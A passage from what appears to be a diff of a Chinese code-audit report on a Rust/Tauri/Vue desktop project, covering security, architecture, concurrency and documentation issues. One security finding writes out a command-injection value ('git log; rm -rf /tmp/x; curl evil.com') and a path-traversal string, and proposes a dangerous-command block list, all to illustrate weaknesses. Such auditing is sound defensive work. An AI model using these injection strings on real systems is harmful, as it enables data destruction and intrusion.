||||||
|
`useAiConversations.ts:260-272` 删除当前会话后空白无引导,应回落相邻会话。
|
||||||
|
|
||||||
|
### P1-12 [审批] 审批卡无 conversationId,多会话路由靠 activeConversationId 推断 ⚠️部分成立
|
||||||
|
`useAiApproval.ts:65`,F-09 多会话并发下 A 后台审批卡渲染到 B 视图时点击路由不准(依赖多会话并发 + 后台审批叠加才触发)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## P2(健壮性/可读性)
|
||||||
|
|
||||||
|
- `useStreamRenderer.ts:139` tailSeq 局部失效 —— **功能没坏**(v-html 值变化兜底更新),仅注释「末块 key 每次不同」与实现(恒为 `tail-1`)相反,误导维护者。
|
||||||
|
- `ApprovalOverlay.vue:61` `Date.now()` 在 computed 内,60s 冷却期不响应式过期。
|
||||||
|
- `aiShared.ts:288-311` setConvStreaming / setConvCurrentText 收敛不对称,Map 项可能残留。
|
||||||
|
- `ConversationSidebar.vue:255` 标题 flash watch 死代码(`if(oldTitle) return` 覆盖前一行)。
|
||||||
|
- `useAiWindow.ts:309` maximized 分支 `targetHeight` 三元死代码(高度 vs 宽度比较)。
|
||||||
|
- `useToolApproval.ts:29` `emit: any` 类型擦除。
|
||||||
|
- `useAiContext.ts:29` `isCompressing` 模块单例,多窗口共享。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ❌代理误报已否决(独立核验)
|
||||||
|
|
||||||
|
- **~~[会话 P0] switchConversation currentText accessor 重定向~~**:代理4 称 `:206 state.currentText=''` 在两次 await 间被 accessor 重定向。**否决**——`:113` 设 `activeConversationId=B` 后到 `:206` 是同步连续代码(无 await),`:206` 之后才 `:212 await`。accessor 不会中途重定向,写的是正确的目标会话。代理4 时序分析错误。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 根源分析
|
||||||
|
|
||||||
|
所有 P0/P1 的共同根因:**F-09 per-conv 改造未完成**。
|
||||||
|
|
||||||
|
| 状态源 | per-conv 化状态 | 串话表现 |
|
||||||
|
|---|---|---|
|
||||||
|
| streaming / currentText | ✅ 已 per-conv(DEC-07a accessor) | — |
|
||||||
|
| convStates(conv_state 真相源) | ✅ 已 per-conv(Map) | 但 watchdog legacy fallback 路径 `clear()` 全局误杀(P0-1) |
|
||||||
|
| queue | ❌ 全局单例 | 跨会话丢消息(P1-1)、强发错位(P1-4) |
|
||||||
|
| watchdog | ⚠️ 双轨(per-conv Map + legacy 单 timer) | legacy 路径不清 by 心跳、全局 clear(P0-1) |
|
||||||
|
| _approvalTimers | ❌ 全局 Map | 切/删会话不清(P0-2) |
|
||||||
|
| modelOverride | ❌ 模块级 ref | 切会话丢失手选(P1-3) |
|
||||||
|
| _lastDelta | ❌ 模块级单值 | 跨会话误丢 delta(P1-5) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 建议修复优先级
|
||||||
|
|
||||||
|
1. **P0-1**(流式误杀,最高频可复现)—— legacy `clear()` 改 `delete(activeConversationId)` + 恢复 running 工具检测
|
||||||
|
2. **P0-2**(审批误拒 + 错气泡)—— switch / delete 清 timer + 修正注释
|
||||||
|
3. **P1-1 / P1-3 / P1-4**(单例债三连,可攒批修)
|
||||||
|
4. 其余 P1(渲染性能/死代码/防重入)按维度推进
|
||||||
|
5. P2 择机清理
|
||||||
|
|
||||||
|
## 相关文件
|
||||||
|
|
||||||
|
- `src/composables/ai/useAiStream.ts`(P0-1 核心)
|
||||||
|
- `src/composables/ai/useAiSend.ts`(P0-1 reset / P1-1,2,4)
|
||||||
|
- `src/composables/ai/streamingGuard.ts`(P0-1 forceReset 同款 clear)
|
||||||
|
- `src-tauri/src/commands/ai/audit/mod.rs`(P0-1 后端心跳 30s)
|
||||||
|
- `src/composables/ai/useAiConversations.ts`(P0-2 / P1-11)
|
||||||
|
- `src/composables/ai/aiShared.ts`(P0-2 _approvalTimers / P2 收敛)
|
||||||
|
- `src/components/ai/TopBar.vue`(P1-3 双 watch)
|
||||||
|
- `src/components/ai/MessageList.vue`(P1-7,9)
|
||||||
|
- `src/components/ai/MessageItem.vue`(P1-7 死代码)
|
||||||
|
- `src/composables/ai/useStreamRenderer.ts`(P1-8 / P2 tailSeq)
|
||||||
|
- `src/composables/ai/useToolApproval.ts`(P1-10)
|
||||||
@@ -1,380 +1,312 @@
|
|||||||
# 全量走查报告(2026-06-28)
|
# 全量走查报告(2026-06-28)
|
||||||
|
|
||||||
> 范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系
|
> 范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系
|
||||||
> 方法:3 路并行(Rust 后端/Vue 前端/文档体系),主代理综合整理
|
> 方法:4 角度并行(安全/并发可靠性/架构设计/代码质量),每条结论基于实际代码核实
|
||||||
> 原则:dry — 仅审查 + 文档,不改代码
|
> 原则:dry — 仅审查 + 文档,不改代码。误判项明确标注证据
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 🔴 安全
|
## 🔴 安全
|
||||||
|
|
||||||
### ① relay.rs — 硬编码默认 Token
|
### ① ScriptNode — 白名单仅校验首词,shell 元字符可绕过
|
||||||
|
|
||||||
**文件**: `crates/df-relay/src/relay.rs:36-37`
|
**文件**: `crates/df-nodes/src/script_node.rs:46-54`
|
||||||
|
|
||||||
中继服务使用硬编码 `DEFAULT_TOKEN = "devflow-relay-default-token"`,所有未设环境变量的部署均使用同一静态 token。通过 `strings` 即可从二进制提取。
|
```rust
|
||||||
|
let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase();
|
||||||
|
```
|
||||||
|
|
||||||
**建议**:启动时要求必须设置 `DF_RELAY_TOKEN` 环境变量,移除默认值。
|
`check_command_policy` 只比对首词,剩余参数原样传入 `sh -c` / `powershell -Command`。攻击场景:工作流 JSON 写 `"command": "git log; rm -rf /tmp/x; curl evil.com"`,首词 `git` 命中白名单即放行,`;` `&&` `$()` 全部被 shell 解释执行。默认 `DF_SCRIPT_WHITELIST` 未设置时完全无防护,仅靠 `dangerous_keywords` 告警(不阻止)。
|
||||||
|
|
||||||
### ② models.rs — `AiProviderRecord` Debug 未脱敏 api_key,日志泄漏风险
|
**建议**:① 默认启用黑名单(至少挡 `rm`/`del`/`format`/`shutdown`);② 对工作流 JSON 来源做信任链校验。
|
||||||
|
|
||||||
**文件**: `crates/df-storage/src/models.rs:288`
|
### ② MCP server 完全无鉴权
|
||||||
|
|
||||||
`AiProviderRecord` 未实现自定义 `Debug` 对 `api_key` 脱敏。若上层代码意外 `{:?}` 打印(如 `tracing::debug!`),明文 API key 会写入日志。`model_configs`(L296)与 `config`(L298)等 JSON 字段同样不安全。
|
**文件**: `crates/df-mcp/src/server.rs:37-44` + `crates/df-mcp/src/lib.rs:11`
|
||||||
|
|
||||||
**建议**:为 `AiProviderRecord` 实现自定义 `Debug`,将 `api_key` 输出为 `"sk-****"`。
|
注释明示「无认证(依赖本地隔离)」,但 Windows 上同用户权限的进程(Office 宏、浏览器 RCE 沙箱逃逸后)均可向 stdin 发 `tools/call create_project` / `bind_directory` 等工具调用。`bind_directory`(Medium) 可绑定任意路径让后续工具误以为已授权。
|
||||||
|
|
||||||
### ③ ScriptNode — 命令无白名单/沙箱
|
**建议**:启动生成 ephemeral token 写入应用 KV,Tauri CLI 子命令传 token,每条 `tools/call` 校验。
|
||||||
|
|
||||||
**文件**: `crates/df-nodes/src/script_node.rs:15-19` + `crates/df-execute/src/shell.rs:92-117`
|
### ③ `bind_directory` 路径检测不一致
|
||||||
|
|
||||||
ScriptNode 从 config 取 `command` 字符串透传给 shell(`cmd /C` / `sh -c`),无任何命令白名单或参数校验。工作流定义来自 AI 生成或外部导入时,恶意命令可通过 AINode 写入 ScriptNode config 注入执行。
|
**文件**: `crates/df-mcp/src/tools.rs:328`
|
||||||
|
|
||||||
**建议**:添加危险命令关键词告警(`rm -rf`/`DROP TABLE`/`Format`),可选白名单/环境变量隔离配置。
|
MCP 端 `bind_directory` 仅做 `path.contains("..")` 子串检测,会误伤 `my..file`,且对 `/etc/.ssh/../../etc/passwd` 这类绕过场景不可靠。而 `src-tauri/.../tool_registry.rs:114-145` 的 `validate_path` 已实现分段 `..` 检测——两端不一致。
|
||||||
|
|
||||||
### ④ bind_directory — 原始路径入库未规范化 + 无沙箱校验
|
**建议**:MCP 端复用 `validate_path` 的分段检测逻辑。
|
||||||
|
|
||||||
**文件**: `crates/df-mcp/src/tools.rs:314-342`
|
|
||||||
|
|
||||||
`bind_directory` 接收用户传入 `path`,`normalize_path` 仅用于去重检测,**原始 `path` 值直接存储**。同一目录可用两种写法绑定两次绕过冲突检测。且未校验规范化后路径在项目沙箱允许范围内。
|
|
||||||
|
|
||||||
**建议**:存储前 `normalize_path()` + 校验在沙箱目录内 + 拒绝含 `..` 的原始路径。
|
|
||||||
|
|
||||||
### ⑤ state.rs — `std::sync::Mutex` 在 async 上下文中持锁风险
|
|
||||||
|
|
||||||
**文件**: `crates/df-workflow/src/state.rs:34-36, 55, 97, 104`
|
|
||||||
|
|
||||||
`StateMachine` 使用 `std::sync::Mutex` 保护 HashMap,在 `get()` 等同步方法中直接 `lock().expect()`。`DagExecutor` 在 `futures::future::join_all` 同层并发时,若某节点持有引用后 `.await` 另一操作间接尝试锁 `states`,会死锁。通篇 4 处 `expect`——某节点 panic 导致锁中毒,连锁 fatal。
|
|
||||||
|
|
||||||
**建议**:改用 `tokio::sync::Mutex`,或在文档中明确标注「state_machine 方法不得在 `.await` 期间持锁」。
|
|
||||||
|
|
||||||
### ⑥ eventbus.rs — 错误静默吞噬
|
|
||||||
|
|
||||||
**文件**: `crates/df-workflow/src/eventbus.rs:16, 32`
|
|
||||||
|
|
||||||
`DEFAULT_CAPACITY: usize = 256`,`EventBus::send` 调用处 `let _` 吞噬所有错误。当并发节点多且事件消费慢时,256 溢出导致最早接收者 Lagged 错误。
|
|
||||||
|
|
||||||
**建议**:`send` 处 `tracing::warn!` 记录 Lagged 错误。
|
|
||||||
|
|
||||||
### ⑦ shell.rs — `probe_pwsh` 同步阻塞 tokio 运行时
|
|
||||||
|
|
||||||
**文件**: `crates/df-execute/src/shell.rs:53-66`
|
|
||||||
|
|
||||||
`probe_pwsh()` 在 `Default::default()` 中调用,`Default` 在 `execute()` 异步函数内调用。在 tokio 异步函数中同步阻塞 `cmd.status()` 违反最佳实践。
|
|
||||||
|
|
||||||
**建议**:惰性异步探测(`OnceLock` 配 `tokio::task::spawn_blocking`)。
|
|
||||||
|
|
||||||
### ⑧ retry.rs — backoff jitter 随机性弱
|
|
||||||
|
|
||||||
**文件**: `crates/df-ai/src/retry.rs:77-81`
|
|
||||||
|
|
||||||
jitter 使用 `SystemTime::now().duration_since().subsec_nanos() % 2000` 映射到 `[-1.0, 1.0)`。纳秒级退化到 1ms 粒度时多个请求可能拿到同一值,重试碰撞风险。
|
|
||||||
|
|
||||||
**建议**:改用 `fastrand`,jitter 范围扩大到 ±50%(当前 ±20%)。
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 🔴 文档
|
## 🔴 架构
|
||||||
|
|
||||||
### ⑨ AI对话引擎-2026-06-14.md — 工具清单严重过时
|
### ④ AI 核心状态机焊死在 src-tauri,df-ai 名不副实
|
||||||
|
|
||||||
|
**证据**:
|
||||||
|
- `src-tauri/src/commands/ai/mod.rs` 定义 `AiSession`、`PerConvState`、`AiChatEvent`、`SessionState` 等
|
||||||
|
- `src-tauri/src/commands/ai/agentic/mod.rs` 实现 `run_agentic_loop`
|
||||||
|
- `df-ai` crate 仅保留 Provider HTTP 实现 + `coordinator.rs`(空壳) + `intent/planner`(未接入)
|
||||||
|
|
||||||
|
ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责,实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用(做 CLI/测试),AI 状态机没有独立 crate 级单测。
|
||||||
|
|
||||||
|
**建议**:把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。
|
||||||
|
|
||||||
|
### ⑤ df-project / df-ideas 伪分层
|
||||||
|
|
||||||
|
**文件**: `crates/df-project/src/manager.rs`(全文 ~80 行,仅 2 个工厂函数)
|
||||||
|
|
||||||
|
`ProjectManager::create` / `create_from_idea` 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 `df-storage/src/crud/project_repo.rs`,`commands/project.rs` 直接调 `ProjectRepo` 完全绕过 `ProjectManager`。领域层"不依赖 storage 保持分层"形同虚设。
|
||||||
|
|
||||||
|
**建议**:要么删除 df-project,要么真正把领域规则下沉进去。
|
||||||
|
|
||||||
|
### ⑥ TaskStatus 两套并存
|
||||||
|
|
||||||
|
**证据**:
|
||||||
|
- `crates/df-types/src/types.rs:170` 定义 `enum TaskStatus` 含 `as_str`/`from_db_str`/`is_valid`
|
||||||
|
- `crates/df-nodes/src/task_state_machine.rs:33-56` 又定义 7 个字符串常量 + `is_valid_state`
|
||||||
|
|
||||||
|
注释自称"严格对齐"但靠人工维护,任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。
|
||||||
|
|
||||||
|
**建议**:让 task_state_machine 基于 TaskStatus enum 实现,字符串边界只留 IPC/DB 序列化层。
|
||||||
|
|
||||||
|
### ⑦ IPC 错误拍平为 String,结构化信息全失
|
||||||
|
|
||||||
|
**文件**: `src-tauri/src/commands/mod.rs:26` `pub fn err_str<E: ToString>(e: E) -> String`
|
||||||
|
|
||||||
|
df-types/error.rs 精心设计了 11 个变体(`NotFound`/`Validation`/`InvalidState { current, expected }` 等带结构化字段),但跨 IPC 边界时 `.to_string()` 一律拍平。前端只能拿到字符串,无法分辨 NotFound vs Validation vs InvalidState,无法做差异化处理(如 NotFound→跳转列表 vs InvalidState→提示冲突)。
|
||||||
|
|
||||||
|
**建议**:IPC 错误用 serde 序列化的 enum(`{ kind, message, ...fields }`),前端按 kind 分支。
|
||||||
|
|
||||||
|
### ⑧ 配置四源并存,relay token 两端契约不一致
|
||||||
|
|
||||||
|
**证据**:
|
||||||
|
- 环境变量:`DF_RELAY_TOKEN`(relay 端缺失 panic)/`DF_SCRIPT_BLACKLIST`/`DF_SCRIPT_WHITELIST`
|
||||||
|
- DB KV:`app_settings` 表
|
||||||
|
- AppState 内存:AtomicU64/Usize
|
||||||
|
- 硬编码常量:`src-tauri/lib.rs:186` `token = "devflow-relay-default-token"`(与 relay 端强制 env 不一致)
|
||||||
|
|
||||||
|
桌面端硬编码默认 token,relay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。
|
||||||
|
|
||||||
|
**建议**:建立分层 Config 单例(env > app_settings > 默认常量),跨 crate 共享。
|
||||||
|
|
||||||
|
### ⑨ 文档与代码严重失步
|
||||||
|
|
||||||
|
**证据**:
|
||||||
|
- ARCHITECTURE.md §4 写 `df-core/` —— 实际是 `df-types`
|
||||||
|
- PROGRESS.md §二/§三 同样写 df-core
|
||||||
|
- docs/01-技术文档/SQLite-CRUD模式.md:79 引用 `crates/df-core/src/error.rs`
|
||||||
|
- PROGRESS.md Sprint 15/17 把 knowledge 模块归属 `df-evolve`(已移除)
|
||||||
|
- ARCHITECTURE.md §4 crate 树漏列 `df-types`/`df-mcp`/`df-ai-core`/`df-relay`/`df-tunnel`,crate 数量描述"9 crate"vs 实际 12
|
||||||
|
|
||||||
|
**建议**:批量替换 df-core → df-types,更新 crate 树与规模表。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔴 代码质量
|
||||||
|
|
||||||
|
### ⑩ useAiEvents — 终止收尾逻辑三处复制粘贴
|
||||||
|
|
||||||
|
**文件**: `src/composables/ai/useAiEvents.ts:569-737`
|
||||||
|
|
||||||
|
`AiCompleted` / `AiError` / `AiHelpRequired` 三个 case 重复执行同一套「会话终止收尾」逻辑(clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4×localStorage.removeItem),共 ~10 步骤在三个分支逐行复制。
|
||||||
|
|
||||||
|
**建议**:抽 `cleanupTerminatedConversation(convId, reason)` 公共函数。
|
||||||
|
|
||||||
|
### ⑪ Store 错误处理样板重复 38 处
|
||||||
|
|
||||||
|
**证据**:`src/stores/knowledge.ts` 单文件 10 次,加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次:
|
||||||
|
|
||||||
|
```ts
|
||||||
|
try { state.xxx = await api.xxx(...) }
|
||||||
|
catch (e: any) { state.error = e?.toString() ?? t('xxx.err.xxxFailed') }
|
||||||
|
```
|
||||||
|
|
||||||
|
**建议**:抽 `runWithCatch(state, i18nKey, fn)` 工具。
|
||||||
|
|
||||||
|
### ⑫ idea_repo.rs — 注释承诺的测试不存在
|
||||||
|
|
||||||
|
**文件**: `crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44`
|
||||||
|
|
||||||
|
注释明示「任一处加列漏改会被测试 `test_knowledge_cols_matches_record` 立即捕获」,但全 workspace grep 零匹配。`KNOWLEDGE_COL_COUNT` 带 `#[cfg_attr(not(test), allow(dead_code))]` 说明设计意图是给测试用,但测试从未写。属真实「文档撒谎」。
|
||||||
|
|
||||||
|
**建议**:补 `#[test] fn test_idea_cols_matches_record()` 或改注释。
|
||||||
|
|
||||||
|
### ⑬ df-relay 完全无测试
|
||||||
|
|
||||||
|
`df-ai` 332 测试、`df-storage` 133 测试、`df-nodes` 86 测试,但 `df-relay` 0 测试(无 tests/ 也无 #[cfg(test)])。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。
|
||||||
|
|
||||||
|
**建议**:至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 并发与可靠性
|
||||||
|
|
||||||
|
### ⑭ SQLite 单连接 Mutex 串行化
|
||||||
|
|
||||||
|
**文件**: `crates/df-storage/src/db.rs:13-16`
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub struct Database { conn: Arc<Mutex<Connection>>, }
|
||||||
|
```
|
||||||
|
|
||||||
|
所有 Repo 共享同一连接。注释自承 `TODO: 考虑使用 r2d2 连接池`。功能性正确,但 AI 对话高峰(多 tool_calls 并发 + SSE 落库)下 DB 操作排队,体验性下降。
|
||||||
|
|
||||||
|
### ⑮ EventBus broadcast 容量与 Lagged 处理
|
||||||
|
|
||||||
|
**文件**: `crates/df-workflow/src/eventbus.rs:16` + `crates/df-nodes/src/human_node.rs:134-141`
|
||||||
|
|
||||||
|
容量 256 + `WorkflowEvent` 混入 AI 流式增量 → 高频场景订阅者 Lagged → `human_node.rs:134` 的 `continue` 策略可能漏自身 Response → HumanNode 等到超时。
|
||||||
|
|
||||||
|
**建议**:流式增量与审批响应分总线,或 Lagged 显式重发。
|
||||||
|
|
||||||
|
### ⑯ run_migrations 持有 tokio Mutex 守卫
|
||||||
|
|
||||||
|
**文件**: `crates/df-storage/src/db.rs:48-53`
|
||||||
|
|
||||||
|
V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销,但属不必要串行点。
|
||||||
|
|
||||||
|
### ⑰ task_link_repo.rs 注释误导
|
||||||
|
|
||||||
|
**文件**: `crates/df-storage/src/crud/task_link_repo.rs:116-138`
|
||||||
|
|
||||||
|
注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 `blocking_lock` 守卫内,锁串行化了 TOCTOU 窗口,已闭合。注释应更新。
|
||||||
|
|
||||||
|
### ⑱ relay 默认监听 0.0.0.0
|
||||||
|
|
||||||
|
**文件**: `crates/df-relay/src/main.rs:17`
|
||||||
|
|
||||||
|
token 鉴权在,但默认监听所有网卡,云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。
|
||||||
|
|
||||||
|
**建议**:默认改 127.0.0.1,外部访问显式 `DF_RELAY_ADDR=0.0.0.0`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 代码简洁性
|
||||||
|
|
||||||
|
### ⑲ 大文件未拆分
|
||||||
|
|
||||||
|
- `src/components/ai/MessageList.vue` 1552 行(style 441 + script ~1100)
|
||||||
|
- `src/views/IdeaDetail.vue` 926 行(style 481 + script ~300,四域逻辑)
|
||||||
|
- `crates/df-storage/src/crud/idea_repo.rs` 1500 行(IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具)
|
||||||
|
- `crates/df-nodes/src/human_node.rs` 831 行
|
||||||
|
|
||||||
|
**建议**:MessageList 抽 MessageBubble.vue;IdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanel;idea_repo.rs 拆三文件。
|
||||||
|
|
||||||
|
### ⑰ 组件内 toast 状态重复
|
||||||
|
|
||||||
|
**文件**: `src/views/Settings.vue:103-112` + `src/components/AiChat.vue:183-191`
|
||||||
|
|
||||||
|
两个根组件各自维护 toast reactive + showToast,逻辑完全一致。
|
||||||
|
|
||||||
|
**建议**:抽 `composables/useToast.ts`。
|
||||||
|
|
||||||
|
### ㉑ TS any 滥用集中在 catch 和跨层透传
|
||||||
|
|
||||||
|
48 处 `: any`/`as any`:
|
||||||
|
- **类型 A**(38/48):`catch (e: any)` → 改 `unknown` + 类型守卫
|
||||||
|
- **类型 B**:跨层 `as any` 透传未声明字段(useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498)
|
||||||
|
|
||||||
|
**建议**:补完 api/types.ts 真实字段(AiMessage.errorType、Message.status);defineExpose 建 interface。
|
||||||
|
|
||||||
|
### ㉒ AgentCoordinator deprecated 空壳
|
||||||
|
|
||||||
|
**文件**: `crates/df-ai/src/coordinator.rs`
|
||||||
|
|
||||||
|
已标 `#[deprecated]`,全 workspace 零调用,但仍 `pub mod coordinator` 暴露导出。
|
||||||
|
|
||||||
|
**建议**:`#[cfg(feature = "multi-agent")]` 隔离或删除(git 历史可找回)。
|
||||||
|
|
||||||
|
### ㉓ planner.rs 11 处 #[allow(dead_code)]
|
||||||
|
|
||||||
|
builder API(SubTask::new/with_tools/with_deps/with_group 等)当前零调用,全是预留。建议加 reason 集中说明或 feature flag 隔离。
|
||||||
|
|
||||||
|
### ㉔ app_settings KV 无 schema
|
||||||
|
|
||||||
|
`SettingsRepo::set(key, value)` 无 key 白名单(除 allowed_dirs),新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。
|
||||||
|
|
||||||
|
### ㉕ 视图 CSS 重复 + tags 解析重复
|
||||||
|
|
||||||
|
- Dashboard/Projects/Ideas/Knowledge 四视图各自定义 `.btn`/`.btn-primary` scoped 样式(项目已有全局 `styles/components.css`)
|
||||||
|
- Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑
|
||||||
|
|
||||||
|
**建议**:CSS 收敛到全局;tags 解析抽 `parseTagsInput`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 文档
|
||||||
|
|
||||||
|
### ㉖ AI对话引擎文档工具清单过时
|
||||||
|
|
||||||
**文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md §四`
|
**文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md §四`
|
||||||
|
|
||||||
标题自称"12 个"工具,表格实际列出 **13 行**(自相矛盾);与 `df-ai-AI集成模块-2026-06-12.md` 声称的 **22 个工具**严重对不齐;缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project` 等工具。
|
标题自称 12 个,表格 13 行,与 `df-ai-AI集成模块.md` 的 22 个严重对不齐。缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project`。
|
||||||
|
|
||||||
**建议**:全文同步至当前实际 22 个工具的最新清单。
|
### ㉗ INDEX.md 漏索引 9 个文档
|
||||||
|
|
||||||
### ⑩ 02-架构设计/INDEX.md — 漏索引 9 个已有文档
|
|
||||||
|
|
||||||
**文件**: `docs/02-架构设计/INDEX.md`
|
|
||||||
|
|
||||||
| 子目录 | 漏列数 | 典型遗漏 |
|
| 子目录 | 漏列数 | 典型遗漏 |
|
||||||
|-------|-------|---------|
|
|-------|-------|---------|
|
||||||
| 专项设计 | 7 | `AI原生上下文地图`、`AST符号解析`、`插件机制`、`查询能力补全方案`、`项目知识图谱` 等 |
|
| 专项设计 | 7 | AI原生上下文地图、AST符号解析、插件机制、查询能力补全方案、项目知识图谱 |
|
||||||
| 已编号方案 | 2 | `F-260622-01-跨端AIChat-Phase3联调设计`、`消息级溯源P2-切读方案`(今天新增) |
|
| 已编号方案 | 2 | F-260622-01-跨端AIChat-Phase3联调、消息级溯源P2-切读方案 |
|
||||||
| 构想审查 | 1 | `跑题改进试验记录` |
|
| 构想审查 | 1 | 跑题改进试验记录 |
|
||||||
| 根目录 | 2 | `单对话并行多轮-Phase0落地路线图`、`单对话并行多轮-设计` |
|
| 根目录 | 2 | 单对话并行多轮-Phase0落地路线图、单对话并行多轮-设计 |
|
||||||
|
|
||||||
**建议**:批量补齐,建立「新增文档 → 立即更新 INDEX」的提交习惯。
|
### ㉘ 死链
|
||||||
|
|
||||||
### ⑪ Agent架构说明 — 死链
|
|
||||||
|
|
||||||
**文件**: `docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4`
|
**文件**: `docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4`
|
||||||
|
|
||||||
```markdown
|
`[任务推进设计](任务推进构想-2026-06-14.md)` 解析到专项设计目录下不存在,应改为 `../构想审查/`。
|
||||||
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)
|
|
||||||
```
|
|
||||||
目标文件在 `构想审查/` 下,当前路径解析到 `专项设计/` 下不存在。
|
|
||||||
|
|
||||||
**建议**:改为 `[任务推进设计](../构想审查/任务推进构想-2026-06-14.md)`。
|
### ㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反
|
||||||
|
|
||||||
### ⑫ ARCHITECTURE.md §七 + 新设计文档 — 大段逐字重复
|
YAML 模板(52行)、AgentPersona struct(11行)、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。
|
||||||
|
|
||||||
**文件**: `ARCHITECTURE.md:538-665` / `docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md`
|
### ㉚ ARCHITECTURE.md ~100 行已移除模块残留
|
||||||
|
|
||||||
YAML 模板示例(52行)、`AgentPersona` struct 定义(11行)、三层定义表、实例化流程——**大段逐字重复**,违反文档记录规范 SSOT 原则。
|
§5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档。
|
||||||
|
|
||||||
**建议**:`ARCHITECTURE.md §七` 保留概要(三层定义 + 关系图 + 关键原则),YAML 全文和 struct 定义仅在专项设计文档展开,ARCH 以引用链接替代。
|
### ㉛ ARCHITECTURE.md 状态过时
|
||||||
|
|
||||||
### ⑬ ARCHITECTURE.md 仍保留 ~100 行已移除模块细节
|
L3 `状态: 设计阶段` 与实际 Phase 2 验证阶段不符,应与 `docs/INDEX.md` 一致改为 `Phase 2 本地优先开发流程验证`。
|
||||||
|
|
||||||
**文件**: `ARCHITECTURE.md:210-318`(`df-task` / `df-traceability` 章节)
|
|
||||||
|
|
||||||
保留 Task 生命周期图、分支策略、标注系统、需求-功能-测试映射、Decision struct 等已移除模块的详细设计。造成认知负担。
|
|
||||||
|
|
||||||
**建议**:将已移除模块的详细历史移至 `功能决策记录-归档`,ARCHITECTURE.md 仅保留「已移除,见归档」。
|
|
||||||
|
|
||||||
### ⑭ 模块文档更新停滞(最长 16 天)
|
|
||||||
|
|
||||||
| 文档 | 最后更新 | 距今天数 |
|
|
||||||
|-----|---------|---------|
|
|
||||||
| `df-workflow-工作流引擎-2026-06-12.md` | 06-15 | 13 天 |
|
|
||||||
| `df-ai-AI集成模块-2026-06-12.md` | 06-14 | 14 天 |
|
|
||||||
| `df-storage-存储层-2026-06-12.md` | 06-15 | 13 天 |
|
|
||||||
| `想法探索-对抗式评估-2026-06-12.md` | 无更新 | 16 天 |
|
|
||||||
|
|
||||||
**建议**:对上述文档做一次「代码对齐」检查。
|
|
||||||
|
|
||||||
### ⑮ ARCHITECTURE.md 版本状态过时
|
|
||||||
|
|
||||||
**文件**: `ARCHITECTURE.md:3`
|
|
||||||
|
|
||||||
当前 `状态: 设计阶段`。工程处于 **Phase 2 验证阶段**(df-workflow 核心完成、AI ReAct 循环运行中、审批机制就绪),状态标签与实际不符。
|
|
||||||
|
|
||||||
**建议**:改为 `状态: Phase 2 本地优先开发流程验证`(与 `docs/INDEX.md` 一致)。
|
|
||||||
|
|
||||||
### ⑯ 新设计文档与现有文档缺失交叉引用
|
|
||||||
|
|
||||||
**文件**: `docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md`
|
|
||||||
|
|
||||||
应当引用但未引用:`全局事件数据总线`、`df-nodes-节点集合`、`任务推进构想`。
|
|
||||||
|
|
||||||
**建议**:补充上述交叉引用。
|
|
||||||
|
|
||||||
### ⑰ AI对话引擎文档边界归属模糊
|
|
||||||
|
|
||||||
**文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md`
|
|
||||||
|
|
||||||
位于 `03-模块文档/`,但内容大量描述 `src-tauri/commands/ai/` 下的 Tauri 层代码,而非 `crates/df-ai` crate 内部。按文档记录规范职责矩阵,`03-模块文档/` 应记录各 crate 实现细节。
|
|
||||||
|
|
||||||
**建议**:移入 `02-架构设计/` 适当子目录,或明确标注为跨层交互设计文档。
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🟡 代码质量
|
|
||||||
|
|
||||||
### ⑱ dag.rs — `deep_merge` 收到 null 返回 null,覆盖全局配置
|
|
||||||
|
|
||||||
